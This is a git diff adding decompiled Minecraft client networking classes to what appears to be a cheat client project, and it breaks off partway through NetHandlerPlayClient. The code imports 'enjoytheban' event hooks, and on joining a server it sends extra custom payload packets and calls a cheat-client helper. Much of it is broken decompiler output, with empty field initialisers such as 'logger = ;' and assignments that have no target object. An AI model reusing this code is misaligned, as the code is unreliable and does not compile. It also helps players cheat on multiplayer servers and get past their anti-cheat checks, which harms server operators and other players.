+        DatagramPacket var1 = new DatagramPacket(var2, var2.length);
+        
+        try
+        {
+          socket.receive(var1);
+        }
+        catch (SocketTimeoutException var5)
+        {
+          continue;
+        }
+        catch (IOException var6)
+        {
+          LanServerDetector.logger.error("Couldn't ping server", var6);
+          break;
+        }
+        
+        String var3 = new String(var1.getData(), var1.getOffset(), var1.getLength());
+        LanServerDetector.logger.debug(var1.getAddress() + ": " + var3);
+        localServerList.func_77551_a(var3, var1.getAddress());
+      }
+      
+      try
+      {
+        socket.leaveGroup(broadcastAddress);
+      }
+      catch (IOException localIOException1) {}
+      
+
+
+
+      socket.close();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/network/NetHandlerHandshakeMemory.java b/src/minecraft/net/minecraft/client/network/NetHandlerHandshakeMemory.java
new file mode 100644
index 0000000..276706e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/network/NetHandlerHandshakeMemory.java
@@ -0,0 +1,34 @@
+package net.minecraft.client.network;
+
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.handshake.INetHandlerHandshakeServer;
+import net.minecraft.network.handshake.client.C00Handshake;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.network.NetHandlerLoginServer;
+import net.minecraft.util.IChatComponent;
+
+public class NetHandlerHandshakeMemory implements INetHandlerHandshakeServer
+{
+  private final MinecraftServer field_147385_a;
+  private final NetworkManager field_147384_b;
+  private static final String __OBFID = "CL_00001445";
+  
+  public NetHandlerHandshakeMemory(MinecraftServer p_i45287_1_, NetworkManager p_i45287_2_)
+  {
+    field_147385_a = p_i45287_1_;
+    field_147384_b = p_i45287_2_;
+  }
+  
+
+
+
+
+
+  public void processHandshake(C00Handshake packetIn)
+  {
+    field_147384_b.setConnectionState(packetIn.getRequestedState());
+    field_147384_b.setNetHandler(new NetHandlerLoginServer(field_147385_a, field_147384_b));
+  }
+  
+  public void onDisconnect(IChatComponent reason) {}
+}
diff --git a/src/minecraft/net/minecraft/client/network/NetHandlerLoginClient.java b/src/minecraft/net/minecraft/client/network/NetHandlerLoginClient.java
new file mode 100644
index 0000000..f882a90
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/network/NetHandlerLoginClient.java
@@ -0,0 +1,115 @@
+package net.minecraft.client.network;
+
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.exceptions.AuthenticationException;
+import com.mojang.authlib.exceptions.AuthenticationUnavailableException;
+import com.mojang.authlib.exceptions.InvalidCredentialsException;
+import com.mojang.authlib.minecraft.MinecraftSessionService;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import java.math.BigInteger;
+import java.security.PublicKey;
+import javax.crypto.SecretKey;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiDisconnected;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.login.INetHandlerLoginClient;
+import net.minecraft.network.login.client.C01PacketEncryptionResponse;
+import net.minecraft.network.login.server.S00PacketDisconnect;
+import net.minecraft.network.login.server.S01PacketEncryptionRequest;
+import net.minecraft.network.login.server.S02PacketLoginSuccess;
+import net.minecraft.network.login.server.S03PacketEnableCompression;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.CryptManager;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.Session;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class NetHandlerLoginClient implements INetHandlerLoginClient
+{
+  private static final Logger logger = ;
+  private final Minecraft field_147394_b;
+  private final GuiScreen field_147395_c;
+  private final NetworkManager field_147393_d;
+  private GameProfile field_175091_e;
+  private static final String __OBFID = "CL_00000876";
+  
+  public NetHandlerLoginClient(NetworkManager p_i45059_1_, Minecraft mcIn, GuiScreen p_i45059_3_)
+  {
+    field_147393_d = p_i45059_1_;
+    field_147394_b = mcIn;
+    field_147395_c = p_i45059_3_;
+  }
+  
+  public void handleEncryptionRequest(S01PacketEncryptionRequest packetIn)
+  {
+    final SecretKey var2 = CryptManager.createNewSharedKey();
+    String var3 = packetIn.func_149609_c();
+    PublicKey var4 = packetIn.func_149608_d();
+    String var5 = new BigInteger(CryptManager.getServerIdHash(var3, var4, var2)).toString(16);
+    
+    try
+    {
+      func_147391_c().joinServer(field_147394_b.getSession().getProfile(), field_147394_b.getSession().getToken(), var5);
+    }
+    catch (AuthenticationUnavailableException var7)
+    {
+      field_147393_d.closeChannel(new ChatComponentTranslation("disconnect.loginFailedInfo", new Object[] { new ChatComponentTranslation("disconnect.loginFailedInfo.serversUnavailable", new Object[0]) }));
+      return;
+    }
+    catch (InvalidCredentialsException var8)
+    {
+      field_147393_d.closeChannel(new ChatComponentTranslation("disconnect.loginFailedInfo", new Object[] { new ChatComponentTranslation("disconnect.loginFailedInfo.invalidSession", new Object[0]) }));
+      return;
+    }
+    catch (AuthenticationException var9)
+    {
+      field_147393_d.closeChannel(new ChatComponentTranslation("disconnect.loginFailedInfo", new Object[] { var9.getMessage() }));
+      return;
+    }
+    
+    field_147393_d.sendPacket(new C01PacketEncryptionResponse(var2, var4, packetIn.func_149607_e()), new GenericFutureListener()
+    {
+      private static final String __OBFID = "CL_00000877";
+      
+      public void operationComplete(Future p_operationComplete_1_) {
+        field_147393_d.enableEncryption(var2);
+      }
+    }, new GenericFutureListener[0]);
+  }
+  
+  private MinecraftSessionService func_147391_c()
+  {
+    return field_147394_b.getSessionService();
+  }
+  
+  public void handleLoginSuccess(S02PacketLoginSuccess packetIn)
+  {
+    field_175091_e = packetIn.func_179730_a();
+    field_147393_d.setConnectionState(net.minecraft.network.EnumConnectionState.PLAY);
+    field_147393_d.setNetHandler(new NetHandlerPlayClient(field_147394_b, field_147395_c, field_147393_d, field_175091_e));
+  }
+  
+
+
+
+  public void onDisconnect(IChatComponent reason)
+  {
+    field_147394_b.displayGuiScreen(new GuiDisconnected(field_147395_c, "connect.failed", reason));
+  }
+  
+  public void handleDisconnect(S00PacketDisconnect packetIn)
+  {
+    field_147393_d.closeChannel(packetIn.func_149603_c());
+  }
+  
+  public void func_180464_a(S03PacketEnableCompression p_180464_1_)
+  {
+    if (!field_147393_d.isLocalChannel())
+    {
+      field_147393_d.setCompressionTreshold(p_180464_1_.func_179731_a());
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/network/NetHandlerPlayClient.java b/src/minecraft/net/minecraft/client/network/NetHandlerPlayClient.java
new file mode 100644
index 0000000..25afa58
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/network/NetHandlerPlayClient.java
@@ -0,0 +1,2025 @@
+package net.minecraft.client.network;
+
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.events.world.EventPacketSend;
+import com.enjoytheban.utils.Helper;
+import com.google.common.collect.Maps;
+import com.google.common.util.concurrent.FutureCallback;
+import com.google.common.util.concurrent.Futures;
+import com.mojang.authlib.GameProfile;
+import io.netty.buffer.Unpooled;
+import java.io.File;
+import java.io.IOException;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Random;
+import java.util.Set;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.client.ClientBrandRetriever;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.audio.GuardianSound;
+import net.minecraft.client.entity.EntityOtherPlayerMP;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.GuiChat;
+import net.minecraft.client.gui.GuiDisconnected;
+import net.minecraft.client.gui.GuiDownloadTerrain;
+import net.minecraft.client.gui.GuiIngame;
+import net.minecraft.client.gui.GuiMainMenu;
+import net.minecraft.client.gui.GuiMerchant;
+import net.minecraft.client.gui.GuiMultiplayer;
+import net.minecraft.client.gui.GuiNewChat;
+import net.minecraft.client.gui.GuiPlayerTabOverlay;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.GuiScreenDemo;
+import net.minecraft.client.gui.GuiScreenRealmsProxy;
+import net.minecraft.client.gui.GuiWinGame;
+import net.minecraft.client.gui.GuiYesNo;
+import net.minecraft.client.gui.IProgressMeter;
+import net.minecraft.client.gui.achievement.GuiAchievement;
+import net.minecraft.client.gui.inventory.GuiContainerCreative;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.client.multiplayer.ServerData;
+import net.minecraft.client.multiplayer.ServerData.ServerResourceMode;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.particle.EffectRenderer;
+import net.minecraft.client.particle.EntityPickupFX;
+import net.minecraft.client.player.inventory.ContainerLocalMenu;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.resources.ResourcePackRepository;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.client.stream.IStream;
+import net.minecraft.client.stream.MetadataAchievement;
+import net.minecraft.client.stream.MetadataCombat;
+import net.minecraft.client.stream.MetadataPlayerDeath;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IMerchant;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.entity.item.EntityBoat;
+import net.minecraft.entity.item.EntityEnderPearl;
+import net.minecraft.entity.item.EntityExpBottle;
+import net.minecraft.entity.item.EntityFallingBlock;
+import net.minecraft.entity.item.EntityFireworkRocket;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityMinecart.EnumMinecartType;
+import net.minecraft.entity.item.EntityPainting;
+import net.minecraft.entity.item.EntityTNTPrimed;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.monster.EntityGuardian;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.entity.projectile.EntityEgg;
+import net.minecraft.entity.projectile.EntityFishHook;
+import net.minecraft.entity.projectile.EntityLargeFireball;
+import net.minecraft.entity.projectile.EntitySmallFireball;
+import net.minecraft.inventory.AnimalChest;
+import net.minecraft.inventory.Container;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.PacketThreadUtil;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.network.play.client.C0FPacketConfirmTransaction;
+import net.minecraft.network.play.client.C17PacketCustomPayload;
+import net.minecraft.network.play.client.C19PacketResourcePackStatus;
+import net.minecraft.network.play.client.C19PacketResourcePackStatus.Action;
+import net.minecraft.network.play.server.S00PacketKeepAlive;
+import net.minecraft.network.play.server.S01PacketJoinGame;
+import net.minecraft.network.play.server.S02PacketChat;
+import net.minecraft.network.play.server.S03PacketTimeUpdate;
+import net.minecraft.network.play.server.S04PacketEntityEquipment;
+import net.minecraft.network.play.server.S05PacketSpawnPosition;
+import net.minecraft.network.play.server.S06PacketUpdateHealth;
+import net.minecraft.network.play.server.S07PacketRespawn;
+import net.minecraft.network.play.server.S08PacketPlayerPosLook;
+import net.minecraft.network.play.server.S08PacketPlayerPosLook.EnumFlags;
+import net.minecraft.network.play.server.S09PacketHeldItemChange;
+import net.minecraft.network.play.server.S0APacketUseBed;
+import net.minecraft.network.play.server.S0BPacketAnimation;
+import net.minecraft.network.play.server.S0CPacketSpawnPlayer;
+import net.minecraft.network.play.server.S0DPacketCollectItem;
+import net.minecraft.network.play.server.S0EPacketSpawnObject;
+import net.minecraft.network.play.server.S0FPacketSpawnMob;
+import net.minecraft.network.play.server.S10PacketSpawnPainting;
+import net.minecraft.network.play.server.S11PacketSpawnExperienceOrb;
+import net.minecraft.network.play.server.S12PacketEntityVelocity;
+import net.minecraft.network.play.server.S13PacketDestroyEntities;
+import net.minecraft.network.play.server.S14PacketEntity;
+import net.minecraft.network.play.server.S18PacketEntityTeleport;
+import net.minecraft.network.play.server.S19PacketEntityHeadLook;
+import net.minecraft.network.play.server.S19PacketEntityStatus;
+import net.minecraft.network.play.server.S1BPacketEntityAttach;
+import net.minecraft.network.play.server.S1CPacketEntityMetadata;
+import net.minecraft.network.play.server.S1DPacketEntityEffect;
+import net.minecraft.network.play.server.S1EPacketRemoveEntityEffect;
+import net.minecraft.network.play.server.S1FPacketSetExperience;
+import net.minecraft.network.play.server.S20PacketEntityProperties;
+import net.minecraft.network.play.server.S20PacketEntityProperties.Snapshot;
+import net.minecraft.network.play.server.S21PacketChunkData;
+import net.minecraft.network.play.server.S22PacketMultiBlockChange;
+import net.minecraft.network.play.server.S22PacketMultiBlockChange.BlockUpdateData;
+import net.minecraft.network.play.server.S23PacketBlockChange;
+import net.minecraft.network.play.server.S24PacketBlockAction;
+import net.minecraft.network.play.server.S25PacketBlockBreakAnim;
+import net.minecraft.network.play.server.S26PacketMapChunkBulk;
+import net.minecraft.network.play.server.S27PacketExplosion;
+import net.minecraft.network.play.server.S28PacketEffect;
+import net.minecraft.network.play.server.S29PacketSoundEffect;
+import net.minecraft.network.play.server.S2APacketParticles;
+import net.minecraft.network.play.server.S2BPacketChangeGameState;
+import net.minecraft.network.play.server.S2CPacketSpawnGlobalEntity;
+import net.minecraft.network.play.server.S2DPacketOpenWindow;
+import net.minecraft.network.play.server.S2EPacketCloseWindow;
+import net.minecraft.network.play.server.S2FPacketSetSlot;
+import net.minecraft.network.play.server.S30PacketWindowItems;
+import net.minecraft.network.play.server.S31PacketWindowProperty;
+import net.minecraft.network.play.server.S32PacketConfirmTransaction;
+import net.minecraft.network.play.server.S33PacketUpdateSign;
+import net.minecraft.network.play.server.S34PacketMaps;
+import net.minecraft.network.play.server.S35PacketUpdateTileEntity;
+import net.minecraft.network.play.server.S36PacketSignEditorOpen;
+import net.minecraft.network.play.server.S37PacketStatistics;
+import net.minecraft.network.play.server.S38PacketPlayerListItem;
+import net.minecraft.network.play.server.S38PacketPlayerListItem.Action;
+import net.minecraft.network.play.server.S38PacketPlayerListItem.AddPlayerData;
+import net.minecraft.network.play.server.S39PacketPlayerAbilities;
+import net.minecraft.network.play.server.S3APacketTabComplete;
+import net.minecraft.network.play.server.S3BPacketScoreboardObjective;
+import net.minecraft.network.play.server.S3CPacketUpdateScore;
+import net.minecraft.network.play.server.S3CPacketUpdateScore.Action;
+import net.minecraft.network.play.server.S3DPacketDisplayScoreboard;
+import net.minecraft.network.play.server.S3EPacketTeams;
+import net.minecraft.network.play.server.S3FPacketCustomPayload;
+import net.minecraft.network.play.server.S40PacketDisconnect;
+import net.minecraft.network.play.server.S41PacketServerDifficulty;
+import net.minecraft.network.play.server.S42PacketCombatEvent;
+import net.minecraft.network.play.server.S42PacketCombatEvent.Event;
+import net.minecraft.network.play.server.S43PacketCamera;
+import net.minecraft.network.play.server.S44PacketWorldBorder;
+import net.minecraft.network.play.server.S45PacketTitle;
+import net.minecraft.network.play.server.S45PacketTitle.Type;
+import net.minecraft.network.play.server.S46PacketSetCompressionLevel;
+import net.minecraft.network.play.server.S47PacketPlayerListHeaderFooter;
+import net.minecraft.network.play.server.S48PacketResourcePackSend;
+import net.minecraft.network.play.server.S49PacketUpdateEntityNBT;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.realms.DisconnectedRealmsScreen;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.ScoreObjective;
+import net.minecraft.scoreboard.ScorePlayerTeam;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.scoreboard.Team.EnumVisible;
+import net.minecraft.stats.Achievement;
+import net.minecraft.stats.AchievementList;
+import net.minecraft.stats.StatBase;
+import net.minecraft.stats.StatFileWriter;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityBeacon;
+import net.minecraft.tileentity.TileEntityCommandBlock;
+import net.minecraft.tileentity.TileEntityFlowerPot;
+import net.minecraft.tileentity.TileEntityMobSpawner;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.tileentity.TileEntitySkull;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.FoodStats;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.village.MerchantRecipeList;
+import net.minecraft.world.Explosion;
+import net.minecraft.world.WorldProviderSurface;
+import net.minecraft.world.WorldSettings;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.storage.MapData;
+import net.minecraft.world.storage.WorldInfo;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class NetHandlerPlayClient implements INetHandlerPlayClient
+{
+  private static final Logger logger = ;
+  
+
+
+
+
+  private final NetworkManager netManager;
+  
+
+
+
+
+  private final GameProfile field_175107_d;
+  
+
+
+
+
+  private final GuiScreen guiScreenServer;
+  
+
+
+
+  private Minecraft gameController;
+  
+
+
+
+  private WorldClient clientWorldController;
+  
+
+
+
+  private boolean doneLoadingTerrain;
+  
+
+
+
+  private final Map playerInfoMap = Maps.newHashMap();
+  public int currentServerMaxPlayers = 20;
+  private boolean field_147308_k = false;
+  
+
+
+
+
+  private final Random avRandomizer = new Random();
+  private static final String __OBFID = "CL_00000878";
+  
+  public NetHandlerPlayClient(Minecraft mcIn, GuiScreen p_i46300_2_, NetworkManager p_i46300_3_, GameProfile p_i46300_4_)
+  {
+    gameController = mcIn;
+    guiScreenServer = p_i46300_2_;
+    netManager = p_i46300_3_;
+    field_175107_d = p_i46300_4_;
+  }
+  
+
+
+  public void cleanup()
+  {
+    clientWorldController = null;
+  }
+  
+
+
+
+
+  public void handleJoinGame(S01PacketJoinGame packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    gameController.playerController = new PlayerControllerMP(gameController, this);
+    clientWorldController = new WorldClient(this, 
+      new WorldSettings(0L, packetIn.func_149198_e(), false, packetIn.func_149195_d(), 
+      packetIn.func_149196_i()), 
+      packetIn.func_149194_f(), packetIn.func_149192_g(), gameController.mcProfiler);
+    gameController.gameSettings.difficulty = packetIn.func_149192_g();
+    gameController.loadWorld(clientWorldController);
+    gameController.thePlayer.dimension = packetIn.func_149194_f();
+    gameController.displayGuiScreen(new GuiDownloadTerrain(this));
+    gameController.thePlayer.setEntityId(packetIn.func_149197_c());
+    currentServerMaxPlayers = packetIn.func_149193_h();
+    gameController.thePlayer.func_175150_k(packetIn.func_179744_h());
+    gameController.playerController.setGameType(packetIn.func_149198_e());
+    gameController.gameSettings.sendSettingsToServer();
+    netManager.sendPacket(new C17PacketCustomPayload("MC|Brand", 
+      new PacketBuffer(Unpooled.buffer()).writeString(ClientBrandRetriever.getClientModName())));
+    netManager.sendPacket(
+      new C17PacketCustomPayload("utvIx", new PacketBuffer(Unpooled.buffer()).writeString("utvIx")));
+    netManager.sendPacket(
+      new C17PacketCustomPayload("NNfMC", new PacketBuffer(Unpooled.buffer()).writeString("NNfMC")));
+    Helper.onServer("enjoytheban");
+  }
+  
+
+
+
+
+
+
+
+  public void handleSpawnObject(S0EPacketSpawnObject packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    double var2 = packetIn.func_148997_d() / 32.0D;
+    double var4 = packetIn.func_148998_e() / 32.0D;
+    double var6 = packetIn.func_148994_f() / 32.0D;
+    Object var8 = null;
+    
+    if (packetIn.func_148993_l() == 10) {
+      var8 = net.minecraft.entity.item.EntityMinecart.func_180458_a(clientWorldController, var2, var4, var6, 
+        EntityMinecart.EnumMinecartType.func_180038_a(packetIn.func_149009_m()));
+    } else if (packetIn.func_148993_l() == 90) {
+      Entity var9 = clientWorldController.getEntityByID(packetIn.func_149009_m());
+      
+      if ((var9 instanceof EntityPlayer)) {
+        var8 = new EntityFishHook(clientWorldController, var2, var4, var6, (EntityPlayer)var9);
+      }
+      
+      packetIn.func_149002_g(0);
+    } else if (packetIn.func_148993_l() == 60) {
+      var8 = new EntityArrow(clientWorldController, var2, var4, var6);
+    } else if (packetIn.func_148993_l() == 61) {
+      var8 = new net.minecraft.entity.projectile.EntitySnowball(clientWorldController, var2, var4, var6);
+    } else if (packetIn.func_148993_l() == 71) {
+      var8 = new net.minecraft.entity.item.EntityItemFrame(
+        clientWorldController, new BlockPos(MathHelper.floor_double(var2), 
+        MathHelper.floor_double(var4), MathHelper.floor_double(var6)), 
+        net.minecraft.util.EnumFacing.getHorizontal(packetIn.func_149009_m()));
+      packetIn.func_149002_g(0);
+    } else if (packetIn.func_148993_l() == 77) {
+      var8 = new net.minecraft.entity.EntityLeashKnot(clientWorldController, new BlockPos(MathHelper.floor_double(var2), 
+        MathHelper.floor_double(var4), MathHelper.floor_double(var6)));
+      packetIn.func_149002_g(0);
+    } else if (packetIn.func_148993_l() == 65) {
+      var8 = new EntityEnderPearl(clientWorldController, var2, var4, var6);
+    } else if (packetIn.func_148993_l() == 72) {
+      var8 = new net.minecraft.entity.item.EntityEnderEye(clientWorldController, var2, var4, var6);
+    } else if (packetIn.func_148993_l() == 76) {
+      var8 = new EntityFireworkRocket(clientWorldController, var2, var4, var6, null);
+    } else if (packetIn.func_148993_l() == 63) {
+      var8 = new EntityLargeFireball(clientWorldController, var2, var4, var6, 
+        packetIn.func_149010_g() / 8000.0D, packetIn.func_149004_h() / 8000.0D, 
+        packetIn.func_148999_i() / 8000.0D);
+      packetIn.func_149002_g(0);
+    } else if (packetIn.func_148993_l() == 64) {
+      var8 = new EntitySmallFireball(clientWorldController, var2, var4, var6, 
+        packetIn.func_149010_g() / 8000.0D, packetIn.func_149004_h() / 8000.0D, 
+        packetIn.func_148999_i() / 8000.0D);
+      packetIn.func_149002_g(0);
+    } else if (packetIn.func_148993_l() == 66) {
+      var8 = new net.minecraft.entity.projectile.EntityWitherSkull(clientWorldController, var2, var4, var6, 
+        packetIn.func_149010_g() / 8000.0D, packetIn.func_149004_h() / 8000.0D, 
+        packetIn.func_148999_i() / 8000.0D);
+      packetIn.func_149002_g(0);
+    } else if (packetIn.func_148993_l() == 62) {
+      var8 = new EntityEgg(clientWorldController, var2, var4, var6);
+    } else if (packetIn.func_148993_l() == 73) {
+      var8 = new net.minecraft.entity.projectile.EntityPotion(clientWorldController, var2, var4, var6, packetIn.func_149009_m());
+      packetIn.func_149002_g(0);
+    } else if (packetIn.func_148993_l() == 75) {
+      var8 = new EntityExpBottle(clientWorldController, var2, var4, var6);
+      packetIn.func_149002_g(0);
+    } else if (packetIn.func_148993_l() == 1) {
+      var8 = new EntityBoat(clientWorldController, var2, var4, var6);
+    } else if (packetIn.func_148993_l() == 50) {
+      var8 = new EntityTNTPrimed(clientWorldController, var2, var4, var6, null);
+    } else if (packetIn.func_148993_l() == 78) {
+      var8 = new EntityArmorStand(clientWorldController, var2, var4, var6);
+    } else if (packetIn.func_148993_l() == 51) {
+      var8 = new net.minecraft.entity.item.EntityEnderCrystal(clientWorldController, var2, var4, var6);
+    } else if (packetIn.func_148993_l() == 2) {
+      var8 = new EntityItem(clientWorldController, var2, var4, var6);
+    } else if (packetIn.func_148993_l() == 70) {
+      var8 = new EntityFallingBlock(clientWorldController, var2, var4, var6, 
+        Block.getStateById(packetIn.func_149009_m() & 0xFFFF));
+      packetIn.func_149002_g(0);
+    }
+    
+    if (var8 != null) {
+      serverPosX = packetIn.func_148997_d();
+      serverPosY = packetIn.func_148998_e();
+      serverPosZ = packetIn.func_148994_f();
+      rotationPitch = (packetIn.func_149008_j() * 360 / 256.0F);
+      rotationYaw = (packetIn.func_149006_k() * 360 / 256.0F);
+      Entity[] var12 = ((Entity)var8).getParts();
+      
+      if (var12 != null) {
+        int var10 = packetIn.func_149001_c() - ((Entity)var8).getEntityId();
+        
+        for (int var11 = 0; var11 < var12.length; var11++) {
+          var12[var11].setEntityId(var12[var11].getEntityId() + var10);
+        }
+      }
+      
+      ((Entity)var8).setEntityId(packetIn.func_149001_c());
+      clientWorldController.addEntityToWorld(packetIn.func_149001_c(), (Entity)var8);
+      
+      if (packetIn.func_149009_m() > 0) {
+        if (packetIn.func_148993_l() == 60) {
+          Entity var13 = clientWorldController.getEntityByID(packetIn.func_149009_m());
+          
+          if (((var13 instanceof EntityLivingBase)) && ((var8 instanceof EntityArrow))) {
+            shootingEntity = var13;
+          }
+        }
+        
+        ((Entity)var8).setVelocity(packetIn.func_149010_g() / 8000.0D, 
+          packetIn.func_149004_h() / 8000.0D, packetIn.func_148999_i() / 8000.0D);
+      }
+    }
+  }
+  
+
+
+  public void handleSpawnExperienceOrb(S11PacketSpawnExperienceOrb packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    EntityXPOrb var2 = new EntityXPOrb(clientWorldController, packetIn.func_148984_d(), 
+      packetIn.func_148983_e(), packetIn.func_148982_f(), packetIn.func_148986_g());
+    serverPosX = packetIn.func_148984_d();
+    serverPosY = packetIn.func_148983_e();
+    serverPosZ = packetIn.func_148982_f();
+    rotationYaw = 0.0F;
+    rotationPitch = 0.0F;
+    var2.setEntityId(packetIn.func_148985_c());
+    clientWorldController.addEntityToWorld(packetIn.func_148985_c(), var2);
+  }
+  
+
+
+  public void handleSpawnGlobalEntity(S2CPacketSpawnGlobalEntity packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    double var2 = packetIn.func_149051_d() / 32.0D;
+    double var4 = packetIn.func_149050_e() / 32.0D;
+    double var6 = packetIn.func_149049_f() / 32.0D;
+    EntityLightningBolt var8 = null;
+    
+    if (packetIn.func_149053_g() == 1) {
+      var8 = new EntityLightningBolt(clientWorldController, var2, var4, var6);
+    }
+    
+    if (var8 != null) {
+      serverPosX = packetIn.func_149051_d();
+      serverPosY = packetIn.func_149050_e();
+      serverPosZ = packetIn.func_149049_f();
+      rotationYaw = 0.0F;
+      rotationPitch = 0.0F;
+      var8.setEntityId(packetIn.func_149052_c());
+      clientWorldController.addWeatherEffect(var8);
+    }
+  }
+  
+
+
+  public void handleSpawnPainting(S10PacketSpawnPainting packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    EntityPainting var2 = new EntityPainting(clientWorldController, packetIn.func_179837_b(), 
+      packetIn.func_179836_c(), packetIn.func_148961_h());
+    clientWorldController.addEntityToWorld(packetIn.func_148965_c(), var2);
+  }
+  
+
+
+  public void handleEntityVelocity(S12PacketEntityVelocity packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = clientWorldController.getEntityByID(packetIn.func_149412_c());
+    
+    if (var2 != null) {
+      var2.setVelocity(packetIn.func_149411_d() / 8000.0D, packetIn.func_149410_e() / 8000.0D, 
+        packetIn.func_149409_f() / 8000.0D);
+    }
+  }
+  
+
+
+
+  public void handleEntityMetadata(S1CPacketEntityMetadata packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = clientWorldController.getEntityByID(packetIn.func_149375_d());
+    
+    if ((var2 != null) && (packetIn.func_149376_c() != null)) {
+      var2.getDataWatcher().updateWatchedObjectsFromList(packetIn.func_149376_c());
+    }
+  }
+  
+
+
+
+  public void handleSpawnPlayer(S0CPacketSpawnPlayer packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    double var2 = packetIn.func_148942_f() / 32.0D;
+    double var4 = packetIn.func_148949_g() / 32.0D;
+    double var6 = packetIn.func_148946_h() / 32.0D;
+    float var8 = packetIn.func_148941_i() * 360 / 256.0F;
+    float var9 = packetIn.func_148945_j() * 360 / 256.0F;
+    EntityOtherPlayerMP var10 = new EntityOtherPlayerMP(gameController.theWorld, 
+      func_175102_a(packetIn.func_179819_c()).func_178845_a());
+    prevPosX = (var10.lastTickPosX = var10.serverPosX = packetIn.func_148942_f());
+    prevPosY = (var10.lastTickPosY = var10.serverPosY = packetIn.func_148949_g());
+    prevPosZ = (var10.lastTickPosZ = var10.serverPosZ = packetIn.func_148946_h());
+    int var11 = packetIn.func_148947_k();
+    
+    if (var11 == 0) {
+      inventory.mainInventory[inventory.currentItem] = null;
+    } else {
+      inventory.mainInventory[inventory.currentItem] = new ItemStack(net.minecraft.item.Item.getItemById(var11), 1, 0);
+    }
+    
+    var10.setPositionAndRotation(var2, var4, var6, var8, var9);
+    clientWorldController.addEntityToWorld(packetIn.func_148943_d(), var10);
+    List var12 = packetIn.func_148944_c();
+    
+    if (var12 != null) {
+      var10.getDataWatcher().updateWatchedObjectsFromList(var12);
+    }
+  }
+  
+
+
+  public void handleEntityTeleport(S18PacketEntityTeleport packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = clientWorldController.getEntityByID(packetIn.func_149451_c());
+    
+    if (var2 != null) {
+      serverPosX = packetIn.func_149449_d();
+      serverPosY = packetIn.func_149448_e();
+      serverPosZ = packetIn.func_149446_f();
+      double var3 = serverPosX / 32.0D;
+      double var5 = serverPosY / 32.0D + 0.015625D;
+      double var7 = serverPosZ / 32.0D;
+      float var9 = packetIn.func_149450_g() * 360 / 256.0F;
+      float var10 = packetIn.func_149447_h() * 360 / 256.0F;
+      
